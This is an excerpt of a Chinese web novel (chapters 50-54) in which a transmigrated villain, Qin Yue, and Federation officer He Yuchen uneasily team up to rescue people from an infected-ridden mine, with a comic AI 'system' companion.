秦越:“……起开。”贺煜臣双手还撑在他的胸口上,压得他快喘不上来气了。 贺煜臣仿佛一个没了发条的玩具,保持着最初的动作。 看着贺煜臣听不懂人话一样,秦越无奈地又拍了拍贺煜臣坐在自己腰上的腿。 贺煜臣呆了片刻,放在秦越胸口的手缓缓移到了对方的脖子上。他垂下眼皮,无声地收拢掌心。 他恨不得在这把秦越掐死。 开枪前,身下男人脸上的笑简直刺痛了他眼睛。 秦越察觉到贺煜臣施加到自己喉管处的压力,眼里一亮。 峰回路转! 系统立马飘到贺煜臣身边,拼命给他打气:[用力啊用力!] 虽然没有死在正确的地点,但是人是正确的! 贺煜臣在看见秦越困难地呼吸了两秒后,不由自主地卸下了全身的力气。他平静地松开了手,顺着秦越的脖颈往下划动,到那颗跳动的心脏上方时,他停住了。 “要是这里不动了。”贺煜臣学着秦越的样子缓缓地笑了,“升棺也没有什么存在的必要了。” 系统:[?] 不儿,我伟光正的男主呢? 虽说升棺确实算不上什么正派组织,但是会有一群人改恶从善。最最重要的是,原剧情里这些人可都会变成男主的小弟啊。 秦越一开始被贺煜臣指尖划动,酷似剖心的姿势给搞得心脏欢呼雀跃。 但听完贺煜臣的话,秦越彻底不高兴了。 这不故意跟我期望的结局倒着干吗! 秦越不知道贺煜臣这么说的意图是什么,但是他心里顿时升起一团怒意。 他二话不说,用了之前一直有意避免的异能,趁着贺煜臣分神的那一刻,将他从自己身上掀开。 秦越以其人之道把人按在自己身下,思来想去之下,恨恨地想揍他一拳,但犹豫了几秒,最终只擦着贺煜臣的脸颊,砸到了他脸侧的地上。 “你是在威胁我?!”秦越气乐了。 不知道是不是错觉,贺煜臣的表情似乎有点难过。 他说:“不是你一直在威胁我么?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 秦越有些不可思议地看着贺煜臣,半天也没能说出一个字。 ……不要太离谱。 贺煜臣就那么理直气壮地把威胁这个“罪名”安在自己头上了。 秦越心情复杂,有种生气但没有发火对象的无力感,他吐出一口气,真心实意地说道:“我怎么不知道我有那么大的本事。” 贺煜臣看着秦越,眼里同样也是余怒未消。贺煜臣本想偏过头不理对方,但转念一想,他刚刚说的不沟通的人就变成了他自己。 所以贺煜臣略显僵硬又把脸转了回来,干巴巴地回答:“你拿你的性命威胁我。” 秦越表情变得更加难以理解,沉默了足足好一会时间,费解道:“原来我这一条烂命,在贺少将眼里还挺值钱。” 贺煜臣听完眼眶更红了,他浑身发抖,牙关紧咬,表情难看得很。 他纯粹是被秦越气的。 秦越突然意识到他还压在贺煜臣身上,两个人就隔着薄薄的一层布料,贺煜臣身体起伏的幅度尽数地传递过来。 刚刚两个人就像两头愤怒的凶兽,互相绞杀在一起。 但是冷静下来之后,这个姿势就有点过于亲密了。 秦越尽量让自己不要太刻意。他慢慢地松开对贺煜臣的禁锢,从地上站了起来。同时还有闲心地朝贺煜臣伸出手,试图拉对方一把。 姿态随意自然,仿佛什么都没有发生一样。 贺煜臣看见了秦越的动作,他姑且认为这是秦越的示好。但贺煜臣还是被秦越不珍惜性命的态度气得不轻,所以他面色冷淡地直接挥开了秦越的手。 秦越本来也没指望贺煜臣能跟他转眼间就握手言和,令他诧异的是,贺煜臣看似没轻没重的,实际推开他的力道很轻,没有那种凶巴巴的气势,更像是欲拒还迎。 “你今天闹这一出是想干什么?”贺煜臣闭了闭眼,隐藏在愤怒下的后怕此刻全部涌了上来。 秦越有些没个正型地靠在墙边,刚刚异能的使用只有几秒钟,但对他来说也是极大的消耗。 秦越注意到贺煜臣紧张攥紧的手,但在短短一瞬间,对方又恢复了正常。 他也没有避讳的意思,“救人。”秦越偏头看向贺煜臣,猩红色的眼睛在黯淡的光线里,在某一瞬间,像极了干涸的血迹。 贺煜臣发现他根本没办法直视这样的秦越,只能逃避似的转开视线,仿佛这样就可以欺骗自己秦越的身体一点问题都没有。 “救谁?” 秦越一瞬间就想到了托词。 当然不可能说是去救顾夜霖,这会跟他这个人设出入太大。 秦越半真半假地说:“我的人陷在一个矿场里了。” 贺煜臣从唇缝里挤出几个字,“为什么不跟我说?”贺煜臣喘了一口气,想把胸口的憋闷都释放出来,他迈步走到秦越面前。 军靴踏在地面上,声音恰巧跟心跳声重叠,秦越陡然感受到了一种名为危险的预兆。 贺煜臣漆黑的瞳孔静静盯着秦越,轻声追问:“为什么之前不告诉我?” 秦越被这种无机质的目光看得心漏了一拍,贺煜臣的话只是表达了简单的疑惑,但秦越偏偏听出了里面裹挟着克制又病态的逼问。 他忍不住皱了皱眉,跟贺煜臣拉开了一段距离:“你的意思是让我找你帮忙?” 贺煜臣的性格有些沉默寡言,按秦越的理解就是,他太过于能忍了。但这也就导致一个严重的问题,忍到最后不是自己受伤,就是会伤害到最不想伤害的人。 好在秦越今天的所作所为,让贺煜臣在惊怒之中清醒了。 如果秦越听不懂他的意思,他可以说的更直白。 贺煜臣:“是的,你需要的话,我乐意至极。” 秦越心想这话说的……挺没道理的。 就算是要哄骗自己合作,也不至于演的那么卖力。 毕竟他就是那个会被卸磨杀驴的驴。 秦越微怔,他在接受了贺煜臣不会杀了他这个事实后,又要被迫接受贺煜臣其实是个乐于助人的三好青年吗? “你认真的?”秦越怀疑自己听错了。 贺煜臣神情不似作假,他又重复一遍刚才的说辞,“随时随地,只要你需要我。” 秦越实在没有看出贺煜臣演戏的痕迹,只好打开了通讯器,利用上面的地图功能,跟贺煜臣说明情况。 “你知道这个地方吗?”他用指尖粗略地在地图上框了一个圈。 秦越没指望贺煜臣能知道什么,但令他诧异的是,贺煜臣几秒钟后就给了一个肯定的答复。 “一个稀土矿区。”贺煜臣看见秦越有些讶异的表情,便解释道:“我记得大部分被标记出的矿区。” 联邦放出无人机侦测到矿区、适宜居住区和安全区等重要区域后,因为联邦军队数量有限,他们会暂且标记这些地方,等到人手能调转过来的时候,再去想办法收复。 而贺煜臣很清楚地记得这些坐标,这说明他几乎每一处都思考过如何进攻占领。 秦越看着他的目光,不由带上了一点赞赏。 不愧是男主,跟那些混吃等死、金贵得不行的特权阶级比起来,简直就是一心为国为民,摆脱了人类的低级趣味。 贺煜臣被秦越灼灼的眼神看得不自在,他摸了摸脸侧,“我脸上是有什么东西吗?” 秦越心念微微一动,便点了点头。 贺煜臣局促地用手背蹭了蹭,追问道:“还在吗?” 秦越笑了笑,两人之间原本有点剑拔弩张的气氛顿时消失了。他解释道:“是看不到的东西。” 什么叫看不到的东西?贺煜臣低头看了眼自己的手背,除了因为用力擦出的一点薄红,什么也没有。 秦越就像非要手贱挑衅炸毛的猫,他拿手指点了点贺煜臣紧绷的脸颊。 “是希望。”秦越不动声色地收回手。 这不是贺煜臣第一次听到秦越提到这个词,秦越说过人需要希望才能撑的下去。 贺煜臣思及此处,心虚纷乱。 他可不可以认为,这是秦越踏出了愿意相信他的第一步。 秦越不知道贺煜臣已经在走神了,他接着之前的话题说出了担心的点:“这里不仅是矿区,还有一些废弃的仓库厂房,很适合感染者藏身。” 感染者大多数智商只有三岁小孩那么高,顶多知道饿了就吃,困了就睡,大多数也不会讲话。 这就是它们跟人类最大的区别。没有语言,无法交流,它们不能进行复杂的合作协作。 但就跟贺煜臣父亲说的一样,它们中出现了智商进化的感染者。 最初,感染者只会在废弃的城市街道里晃悠,连找个能遮蔽风雨的地方都不会。但是现在它们更聪明了,学会了在人类可能会来的地方提前躲藏,从而狙击人类。 秦越等了半天,也没等来贺煜臣的意见。秦越奇怪地瞥向贺煜臣,这才发现贺煜臣眼神有些飘忽。 贺煜臣突然感到头顶光线被一片阴影遮挡,他后知后觉地抬起头,看见秦越略微俯下身,正似笑非笑地盯着自己。 他有点窘迫地胡乱点头应付,“我知道了。” 秦越低头看着他,一字一句问道:“你知道什么了?” 贺煜臣哑然。他上一次这样尴尬,还是在军校时期。因为头天熬夜研究战事推演,结果第二天不小心在课上睡着了,然后倒霉地被教授点名喊起来答题。 那时教授跟现在的秦越一样,都是没有什么恶意地调侃。 可贺煜臣就是不由自主地开始耳根发烫。 秦越看着人变红了,眼瞅了快要熟了,决定不逗他了,便又把自己刚刚的担忧说了一遍。 贺煜臣强迫自己把注意力放在屏幕上的坐标上,矿区地势高低起落,还有难以监控到的死角。况且感染者只是失去理智,外表异化的人类,所以它们中也有拥有异能的存在,这导致军方使用的热成像经常失效,常常难以确定它们的位置和数量。 他脑海里很快闪过一个念头。 它只存在短短的一瞬间,快得贺煜臣就要抓不到了。但这个想法宛若跗骨之蛆,引导着他一定要按这个方法去解决。 贺煜臣鬼使神差地说道:“如果有诱饵的话……” 人类的血肉对于感染者来说,就是戒不掉的诱惑。无论是智商低下亦或是进化的感染者,都无法拒绝这个来自身体本能的瘾。 秦越意味不明地扫了一眼发出惊呼的系统。 系统:[等等!这个剧情是不是回到正轨上了?] 剧情之神忽然眷顾了自己!系统西子捧心状地期盼着贺煜臣继续按剧情的套路往下走。 多卑微啊。 宿主不老老实实走剧情,导致任务全线崩盘,而自己居然要把希望寄托在男主身上。 秦越盯着贺煜臣看了片刻,对方说出了跟原文相差不多的台词。只不过在原剧情里,贺煜臣是眼含杀意的看着原主说出这句话的,他迫不及待地想看原主的惨状。 不知怎的,秦越明明感觉离成功近了一步,但……却离贺煜臣又远了很多。 贺煜臣迷茫起来,他都没有意识到自己怎么就说了那句话,还没等到他改口,秦越却赞同了他的提议。 秦越嗯了一声,“想在这么短的时间里要救出他们,这样做确实可以最大的减少损失。” 被压下去的害怕突如其来地再一次出现了。 贺煜臣看着秦越漫不经心的表情,那种难以忽视的后怕就更明显了。 果不其然,秦越神色淡定,甚至还笑了一声。 “这样吧。既然是要救我的人,那就让我做这个诱饵好了。” 第52章 贺煜臣那句不行差点就要脱口而出。他如鲠在喉,根本无法反驳秦越的话。 他不可能因为想让秦越远离危险,就要让自己的部下送死。 秦越担心再去迟一点,顾夜霖就要给感染者加餐了。 他满脸写着你还在等什么。“还有什么问题吗?” 贺煜臣懊恼起来,但一时想不出什么办法阻止秦越。 更重要的是没有足够的人手。就像士兵说的那样,他并不是要将死亡的阴影带进这片流民的净土。他来这里,是为了是一个诚恳友好的谈判。 可是要进感染者的聚集区,只有他带的这些人远远不够。 秦越没有给他太多的思考时间,脸上隐隐有些不快,“这么快就后悔帮忙了?” 贺煜臣很轻地叹了口气,“你总要给我安排人手的时间。” 贺煜臣的行动干脆利落,而他的部下大多也习惯了这种突发事情,很快把一间普通的大厅临时改成作战会议室。 秦越注意到这里不仅有联邦的军人们,还有一些升棺没有逃走的人。他们看见秦越“完整”地走进会议厅,顿时眼睛一亮。 “老大,你还好吧!” 这声音听着有点耳熟。 秦越顺着声音看去,望到一张同样熟悉的脸。 巧了吗这不是当初他安排给贺煜臣做饭的厨子么。 “厨子”一个虎扑过来,“老大你受苦了!” 秦越没有防备,被撞得眼前一黑,他还没来得及有什么动作,身上就蓦得一轻。 “去你的位置上坐好。”贺煜臣单手就把这个看着虎背熊腰的汉子拎了起来,把人推得远离了秦越。 “厨子”咬牙切齿,一张脸憋得通红。他到树倒猢狲散的时候都没跑,证明确实挺讲义气的。 他愤愤不平,就差指着贺煜臣鼻子骂了,“我们老大对你那么好,你小子恩将仇报!” 他是一点也不相信贺煜臣是来合作的,坚信贺煜臣想将他们这些联邦眼中钉一网打尽的。他们可能很快就要被关进监狱,或者是做免费苦力,最后死在某个不为人知的肮脏角落里。 秦越无语地捂住了额头。 就前期他把人关着不许走的行为,怎么都不能称上有恩吧。 秦越给了“厨子”一个眼神,让他顺着贺煜臣的意思行事,不要白白浪费对方的耐心。 “厨子”虽然一副想跟贺煜臣拼了的样子,但他还是条件反射地服从秦越的命令,不情不愿地坐回椅子上。 等到贺煜臣说明了情况,联邦人倒是没什么太大反应,与之截然不同的是升棺众人的震惊。 他们每个人脸上都盛满根本掩饰不了的错愕。 因为这些人都清楚,那些被贺煜臣提及,说是陷落在一处矿坑的人,实际可以称得上是升棺的背叛者。 ……而贺煜臣却说秦越想要救出他们。 这不是开玩笑吗! 秦越平生最看不惯叛徒,要是那群人真的被感染者包围了,秦越只会去观赏他们的惨状,说不定还会举宴欢庆他们的死讯。 救人?这两个字跟秦越有什么关系?! 升棺的人开始觉得这是贺煜臣想弄死他们的借口,一群人看着贺煜臣的目光更加不善。 “厨子”一拍椅背,跳了起来:“你大爷的!想让我们送死就他妈的直说,我们不搞你们联邦人那一套,说话拐来拐去的。听着好听,没一句真话!” 会议厅里顿时像热油落水,升棺的人的情绪跟油星四溅一样,一通乱炸。联邦的军人纵然想让自己显得素质高一些,但任谁被骂的时候,都不会太淡定。 于是两拨人在不算大的会议室里吵了起来。 秦越坐不住了,有些尴尬地挠了挠脸。 因为他的缘故,贺煜臣被人骂得狗血淋头,简直是无妄之灾。 秦越被吵得脑子乱哄哄的,只得说道:“安静。” 可惜,他的话在人群中瞬间被淹没。 一道类似鲸鸣的声音在房间内响起。 天花板上被熔断出一个规整的洞,破碎的水泥块落在空地上,发出轰然撞击声。 吵闹声戛然而止。 “现在,”秦越摁了摁抽痛的额角,放下了从旁边人身上抽出的电磁枪,他漠然地环顾一周,“可以冷静下来了么?” 众人诡异又有序地坐回原位上。 秦越感到一阵疲惫,指了指贺煜臣,“都闭上嘴,听他说。” 说罢,他反倒起身走到窗边,俨然是将话事人的位置让了出来。 秦越的态度已经很清楚了。 升棺的人惊疑不定地互相对视一眼,但既然秦越那么说了,他们也只好按捺住满肚子的问题。 秦越看着贺煜臣有条不紊地向众人介绍矿区的情况,眼里透出一丝欣赏。 他总觉得对方就是该当如此,举手投足之间的自信沉稳与生俱来。换做在他刚来这个世界时,看到贺煜臣低声下气、太过顺从的样子,秦越反而感到不适。 就像潜意识里,他觉得贺煜臣不应该是这样的。 秦越围观了一会,就开始跟大学上军事课一样兴致缺缺。他有些专业的词语听不懂,又不好意思打断贺煜臣的话,便开始发起了呆。 他突然想起贺煜臣在联邦提出的问题,无聊之下便戳了戳系统问道:“原主以前跟贺煜臣见过面么?” 说实话,秦越也有点好奇。 系统否认:[两个人不是一个阶层的,从小到大无论是周围的环境还是人,只能用一个词形容就是天差地别。他们就算见过也就是擦肩而过的那种见面。] 秦越不解地把视线转回贺煜臣身上。 那为什么他会那么问。 秦越能看得出来,贺煜臣当时确实是疑惑的,不是浮于表面的客套。 系统根本没注意到秦越的困惑。它捧着脸,目光舍不得从贺煜臣脸上移开,[不愧是男主,果然好厉害。] 秦越从一个AI的语气里居然听出了花痴,他开玩笑道:“你喜欢他?” 那!是!自!然! 系统梗着脖子,骄傲地像个粉丝头目,[我这段时候可是把原文完完整整地看完了。]男主除了前期吃了点苦,后面一路爽文开挂,佛挡杀佛神挡杀神,成为了后世历史书上的人物,足足好几个页面呢。 它越说越激动,一一列举了男主的丰功伟绩和人格魅力。譬如在大后期,贺煜臣的能力再一次升级,可以将剥离感染者基因中的变异片段,让不少会生死相隔的人,得以重新拥抱重聚,还有机会可以感受着彼此的温度。 末了,它还嫌不尽兴一般,追问秦越:[难道您不喜欢他吗!] 秦越被问了个措手不及,沉默了下来。 秦越不知道一个系统是怎么理解人类的喜欢。他后知后觉地反应过来对方说的喜欢,顶多就是对偶像的那种喜欢,是一种仰慕和崇拜,并非爱慕。 可是系统突如其来的发问,让他第一时间没往这方面想。 在系统纯粹的眼神里,秦越虚张声势地伸出手指弹了它一下,转移了话题,“你喜欢他还让我按剧情做那些事。” 系统哑火了。 作为一个人工智能,系统对人类的情感模拟一直是在学习中的,逐渐得,它也会紧张,也会高兴。 但完成任务是写在它底层代码中,最重要的一条命令。催促宿主按剧情行事,是它的本能。 系统自知理亏,小声地辩解:[那我也没有强迫您一定要剧情走嘛。] 秦越语气平淡:“对,没有强迫。” 也就是提醒他如果人设不对,会被惩罚罢了。 好在贺煜臣已经部署完方案了,他看了一眼时间走上前,“我准备尽量在天黑下来前到矿区。如果来不及可能要在外围驻扎。” 系统见到贺煜臣走近,立刻如蒙大赫般地飘远。 秦越估摸了一下,还有几个小时。那处矿区算不上远,时间绰绰有余。视线不好的时候,下矿区确实不是什么明智之举,他便同意了贺煜臣的方案。 贺煜臣看着秦越没什么表情地点点头,心里却有点说不清的感觉。 秦越想起什么,刚走了几步又退了回来:“谢了。”他本来低沉的眉目难得舒展开来,露出罕见的轻松模样。 贺煜臣盯着秦越的背影,如释重负地吐出一口气。 原来那种感觉叫贪心。 他有些不满足,可秦越的态度又完美地填上了他失落的那一部分。 系统一步三回头,恨不得把视线黏在贺煜臣身上。 秦越:“脖子不酸?” 这句话戳到了系统痛处,它根本没有脖子,只是个圆润的球。 系统故作深沉地说道:[再看几眼,毕竟马上就看不到了。]它还没深沉完,就震惊地愣在原地,直到秦越撞到它。系统的身体因为惯性往前滚了一圈,但表情依旧怔然。 系统愣愣地说:[……您还好吧?] 有什么液体从鼻腔滑落。 等到第二滴温热的液体落下来时,秦越才意识到发生了什么。 “没事。”秦越指腹蹭过鼻尖时带出一道血痕,他皱眉看着刺眼的猩红色,有点嫌弃的低声叹气,“怎么偏偏这个时候……” 系统抓狂:[您为啥一点也不着急!] 秦越止住了血,奇怪地瞥了它一眼,[本来也差不多该死了吧。] 系统呆住了。 对哦,这是他们的目标,可看到宿主虚弱的样子,它还是吓了一跳。 它终于明白这个世界为何一直没有下达处罚机制,因为它的宿主身体太过衰败,导致在世界的眼里已经差不多是个死人了。 秦越像是什么都没发生一样,不动声色继续迈步向前,他不想让贺煜臣发现异样。 虽然没什么理由,可他觉得贺煜臣要是知道了,一定会勒令他不许去—— 作者有话说:好了好了,便当已经热好嘞[摊手] 第53章 系统忧心忡忡:[您还能撑的下去吗?] 秦越大概知道是怎么回事了,多半是因为不久前对贺煜臣用了异能的后遗症。 他没料到,只是用了那么短短几秒钟,就会那么严重。 秦越回到房间收拾完自己略显狼狈的外表,觉得看不出任何不对劲后,才去搭理被敲得震天响的房门。 “老大!”几个人堵在门口,见到秦越的瞬间,便纷纷游鱼一般地挤到秦越周围。 秦越:“……”突然觉得自己变成了洒进鱼塘的饵食。 带头来找他的还是“厨子”,当然不仅仅是他,因为所有的人都被刚才会议上秦越的态度搞蒙了。 要是搁以前,他们是万万不敢离秦越那么近的。 但现在外敌环绕,他们的小命岌岌可危。纵然秦越是个翻脸如翻书的人,但也比贺煜臣那帮联邦人要靠谱得多。 至少秦越不会不讲道理地把他们碾死。 “厨子”鬼鬼祟祟地凑近秦越,确定左右没有联邦的人后,他朝秦越挤眉弄眼:“老大,这是不是缓兵之计?” 可惜秦越没法跟他解释。 他顶着手下这几个人堪称卧薪尝胆的目光,含糊地嗯了一声。 “厨子”眼睛一亮,做了一个挥砍的姿势,“您是打算下了矿井后,直接把人给……” 秦越给了他一个意味深长的微笑,让他自己体会。 秦越现在不太想管对方是怎么想的,况且他也没时间管了。 不过这段对话没有持续太长时间,一个联邦士兵走了过来,正是前不久还被秦越挟持过的H5328。他皱眉看着秦越他们偷摸抱团的样子,并且一见到自己过去,还心虚地散开。 绝对有鬼。 H5328打定主意等会要跟少将汇报这个情况。他停在了距离秦越不远不近的位置上,毕竟这人不久前才把天花板打出一个大窟窿。 废墟遗迹的房屋都是年久失修的旧人类时期建筑,都能算得上危房了。这个疯子居然在几十个人聚集的房子里,特别是他自己本人也在的情况下,还敢朝着房梁开枪。 “秦首领,少将让我告诉您,如果你们没有武器的话,可以从我们这边领取。”H5328这次过来主要是为了传达贺煜臣的话。 秦越感叹贺煜臣贴心得过头了。 废墟遗迹的武器储备,的确比不过联邦精心打磨的。 秦越点头:“替我谢谢他,我等会安排人过去。” H5328看了一眼时间:“那您要尽快了,贺少将说一个小时后准时出发。” 真的太有效率了。秦越再一次感叹,“你们上将做事都是这么雷厉风行么?” H5328同样来自联邦下城区。他本以为自己来军队会被自诩贵族的特权阶级欺负,但实际上他所在的第五军团纪律严明,而且贺少将也不惯着那些混吃等死的纨绔子弟,对所有人一视同仁。 这些来军队凑数的贵族们从小没吃过什么苦,不出意料地被贺煜臣整治的哭爹喊娘,大多人过不了多久就会跟自己父母告状诉苦。可他们家族也扳不倒贺煜臣这座大山,最后只能好说歹说,让他们先退出军队,准备再想办法从别的地方给这些纨绔们镀金。 所以H5328向来尊崇贺煜臣。 他本就因为不小心被秦越挟持,给贺煜臣添了麻烦,所以对秦越看不顺眼。再加上虽然秦越在会议室里站在贺煜臣那一边,可是这几个人现在聚在一起像是在图谋不轨。 H5328疑神疑鬼的,听秦越的话总觉得对方是在嘲讽贺煜臣。他以为秦越是觉得贺煜臣做事太仓促,便冷哼一声开口:“请不必担心那么多,做好自己的事情,别给我们少将拖后腿就行了。” 莫名被怼的秦越也没生气,但他周围的手下忍不了一点。 “你说谁拖后腿呢!” 秦越眼疾手快地拽住撸起袖子就要冲过去的手下。 真是一眼没看住,就要打起来。 秦越顿时觉得贺煜臣以后的路,道阻且长。 瞅着H5328冷笑离开,手下人不敢朝着秦越发飙,但眼里差不多都能喷火了。 秦越言简意赅:“忍。” 说不定日后你们被收编,以后就都是同僚了。再忍几天,就能拿个有编制的岗位,不比在废墟遗迹当雇佣兵有前途,在这死了还拿不到抚恤金。 手下明显有自己的解题思路,他脸色铁青,握拳恨恨道:“我懂了,等会您一声令下,我就把矿区炸了,让这群人连带那些叛徒全葬在地下。” 秦越听得额角青筋狂跳:“……” 他颇为头疼地拍了拍手下的肩膀,“你……你指望我在井下怎么通知你呢?”矿井下面可没有通讯信号,除非他们能接到军队的频道,但是这样的话,他们之间的交流暴露无遗。 手下震惊:“您不是做做样子吗,怎么也要下去?” “厨子”给了对方一手肘,“刚刚不是说了吗,要在矿井下面趁其不备把他们领头的给杀了。” 秦越木然,他不知道这个逻辑怎么圆回去的,只得摆摆手,让他们去贺煜臣那边取些装备。 升棺这些人作战经验丰富,但仅限于打打游击,要真是团队协作打阵地战,那是肯定不如联邦军队的。 秦越怕这些人真能干出让他始料未及的“壮举”,“你们到时候听贺煜臣的指令就好,其他的跟你们没关系。” 一个小时转瞬即逝。 军队配的车辆是改造过后的自动驾驶类装甲车,可以适应各类地形的作战。 秦越坐上去的时候,总有一种似曾相识的既视感。他摸了摸座椅,开始思考自己在哪坐过这辆车,还没等秦越回忆出个所以然,他绷着脸看见一个没想到的人也上了这辆车。 贺煜臣很是理所当然地坐在了他的身侧。 秦越不自然地握住车门,“我上错车了?” 贺煜臣盯着秦越,像是狩猎般地专注,他慢条斯理地锁上车门后,“你没有上错。” 秦越表情快绷不住了。 贺煜臣过来是要跟他交际聊天的吗?两个人之前也不是没聊过,虽然大部分时间都不愉快,但基本上都不会离得那么近。 在这种狭小私密的空间里,就莫名……别扭奇怪。 贺煜臣对着他微微一笑,意有所指地说:“路途不远,很快的,你别着急。” 这句话一说,秦越忽然想起来了。在他被送回废墟遗迹的路途上,那时也有个人说了同样的话。 秦越脸上漠然,心里小人在打架。 记错了,你绝对是记错了,怎么可能是贺煜臣呢。 得了,自己骗骗自己就行了,你心里一清二楚。 秦越不由自主地垂下眼。 贺煜臣骨节分明的手指正放松地搭在大腿上,军靴包裹着的腿很是随意地交叠。贺煜臣似乎是注意到了他的视线,偏头看向秦越,“怎么?是累了吗。” 秦越这会是真要炸毛了,他确信贺煜臣是在点他。 他勉强稳住表情,内心劝说自己,不就是枕着死对头的腿睡了一觉吗。 没什么大不了的,没什么…… 没什么个头啊。 即便感情迟钝如秦越,也察觉到了不对劲。他赶紧呼叫系统,“我到底是怎么从联邦回来的?” 系统一问三不知:[当时我休眠去了。] 它也是要充能的,还需要及时清理内存垃圾,否则就会死机无法工作。一般宿主在休息的时候,它也会休眠。除了在联邦住宿的晚上,因为秦越担心贺煜臣会趁着他睡着出逃,系统当时才保持着工作的状态。 秦越立刻换了一个问题,“查询任务完成度。” 系统一听这个,龇牙咧嘴起来。它知道因为剧情改变,读者已经对原本的白月光祛魅了,但它一直没找到机会跟秦越提及,正好趁此机会跟宿主分享这个痛苦的情况。 [百分之十……]系统掏出面板,不忍直视地闭上眼,[目前还保持着持续下降的趋势。] 秦越沉默了一会,接受了这个结果,“也就是说,韩明远不足以让我完成任务了是不是?” 系统根据后台采集的数据,给出了解释:[主要原因还是您把韩明远很人渣的一面揭露出来了,导致读者对他的认可度下降,所以感情戏崩盘了。]它盯着数据,越琢磨越不对劲,脸上开始精彩纷呈起来。 贺煜臣还在等秦越的回答。他总是在等秦越,无论是对于问题的抉择,还是感情上的回应。 秦越无声地注视着贺煜臣。这个世界未来的君主此刻只是一个小心试探的可怜人。 他喉头滚动,咽下了涌上来的血腥味—— 作者有话说:[摊手]好啦,木头本人在努力开窍了 第54章 秦越揉着眉心,心想自己这算不算是玩脱了。 他步入这个世界之后,就像拿着攻略的玩家。可他忘了,在这个世界里贺煜臣也是活生生的人,怎么可能会老老实实地按照他预设的方向走。 秦越看着贺煜臣没有说话。 直到下车,他都没再给对方什么回应。 天气依旧很差,地上泥泞不堪。 矿区上还遗留着一些旧人类时期的装载车,很多车门还保持着开的状态,足以可见车主离开时是多么的仓皇。 还有些七零八落的建筑物,腐蚀得已经全是锈迹,完全看不出半吊在上面的铭牌写着什么。除了风吹过车门的缝隙,偶尔发出一些似哭非哭的声音,整个矿区死寂得令人发憷。 无人蜂群的低频声打破了这里的宁静。 虽然有的感染者狡猾刁钻,学会了人类的思维模式。它们利用自己的能力屏蔽这些探测仪器,而不是只会横冲直撞,冲出来送死。 但贺煜臣还是心存一丝希望。 他希望这里聚集的感染者都是还未进化的类型,否则他不能保证自己会遵守诺言,任由秦越做这个诱饵。 秦越瞥了一眼正在浏览蜂群传来数据的贺煜臣。 眼看对方脸色沉了下去,秦越估摸着现场情况应该是不太好了。 贺煜臣一言不发地关上投屏,他不知道怎么开口,但他明白沉默没有用,憋了半天才挤出几个字,“地表上没有生命迹象,我……”他不敢看秦越的眼睛,“我认为应该就地驻扎,再去采集一些数据……” 他说的是对的,秦越心知肚明。 秦越突然有些心软。明明贺煜臣是这里发号施令的人,他哪怕态度坚决地不来也可以。 但是贺煜臣没有那么做,仿佛拒绝了秦越,就会害怕他不高兴似的。 秦越想到原文里的贺煜臣。 贺煜臣从不会对顾夜霖有所退让,哪怕对方是作者笔下的正牌男友。他突然懂了为什么读者们会对原配CP不满意了。 但是现在,他恐慌起来。 秦越发现一个不妙的事实,贺煜臣貌似……太在乎他的感受了。 原文里贺煜臣之所以能坐到最高的位置上,因为他其实是有些专断独权的,这让权利更加集中在贺煜臣自己的手上,最主要的是,他并没有什么软肋。 哪怕是他的恋人,也不足以让他改变自己的想法。 可是眼下一切都不对了。 秦越有点担心,他陡然看不清贺煜臣的未来了。 该死的。 他应该……没有那么大的影响吧? 秦越下意识地拒绝贺煜臣的提议:“不行,要是他们在矿井里,岂不是更危险。” 这话一说出来,秦越蓦然觉得自己成了小说里那种讨人厌的作精,时时刻刻反驳主角,然后非要作死,陷入困局后等主角来救。 贺煜臣缓缓眨了几下眼,还在好脾气地劝说无理取闹的秦越:“你如果想下去的话,只能用矿用提升机,但是这里废弃太久了,不知道还能不能使用,况且地下的通风系统肯定已经停运很久了……” 秦越塞给他一个防毒面具,“不用你下去,我要是没出来,你再去看看。” 如果这样男二还是救不出来……爱咋咋地吧。秦越抹了一把脸,就把防毒面具戴上。 贺煜臣冷静地接过面具,他看向镜片后的那一双眼。 本来是如同野兽发狂般恐怖的猩红色,透过面罩,却仿佛隔着一层雾,看不真切,也没有往日里那么狠厉。贺煜臣不自觉地嘴角抖了一下,指尖差点把面罩捏出一道裂缝。 隔着面具,秦越的声音有些低闷,“算了,你还是别下去。” 他可不想贺煜臣不明不白的死在这。 贺煜臣脸上平静得可怕,他没说行也没说不行,只是转过身指挥部下就地扎营。 秦越的手下不明所以,他们眼见着贺煜臣走开了,就迫不及待走过来,“老大,什么情况?难道他发现不对劲了,不打算下去了?” “厨子”痛心疾首:“果然联邦的人心都脏,当时您就该直接饿死他!” 秦越:“……” 手下:“他都不去了,老大您还下去干什么?!” 秦越这个行为,说实话跟送死没什么区别。他瞅着被抓住的袖子,和一张张你死了我们可咋办的忧愁脸庞。 好一个左右为男,男上加男。 作为现场雇佣兵的唯一主心骨,秦越恍惚中有种“抛家弃子”的罪恶感。 “我是在诱敌深入。”秦越强行把扒拉他胳膊的手都扯开,“贺煜臣又不是什么容易被骗的傻子,我不下去的话,他怎么可能会一个人去。” 手下恍然大悟,与此同时他们纷纷举手,“那我们陪您一起去吧。” “是啊是啊,毕竟是死是活就看这一次的了!”他们抱着最差就是同归于尽的信念,热切地看着秦越。 秦越摇了摇头:“都死在里面不值当,留得青山在不愁没柴烧。” “厨子”热泪盈眶:“老大——” 秦越在手下殷切期盼的目光中,不负众望地寒毛倒立。 毕竟被一群八尺大汉饱含温情的注视,不自在是很正常的。 秦越深吸一口气,抖掉一身鸡皮疙瘩,走向位于矿区中部的提升机旁边。 首先;指望这个废弃的矿井还有电力系统是不可能了,其次;秦越叹了一口气,这台机器的液压装置已经报废了,他只能看看有没有其他的工具了。 环视了一圈,秦越找到一个只能站三四个人的小型直升平台。他皱眉晃了晃锈死的扳手,看来还需要一些润滑油才能启动这个机器。 秦越正想撤回联邦在外的营地,他戴着面具视线受阻,只看见面具前一片惨白的灯光,晃得他睁不开眼。 等到对方意识到前方有人后,才稍微把灯光往下偏了偏。 是贺煜臣举着氙气灯进来了,跟着他的还有几个部下。 秦越顿时开始紧张。 他是来故意送死没错,可贺煜臣这是来殉他的吗?! 秦越走到贺煜臣身边,不轻不重地推了他一把,语气中夹杂着些许怒意:“你下来干什么?这里很危险你不知道吗?” 贺煜臣嗯了一声,他情绪不明的说:“原来你也知道很危险啊。” 秦越被一句话噎了回来,他一个人倒是不怕死,但现在这情况就不一样了。 “升降机坏了没法用,先上去再说。” 贺煜臣定定地看着他,半晌摇了摇头,“不急,我先看看能不能修。” 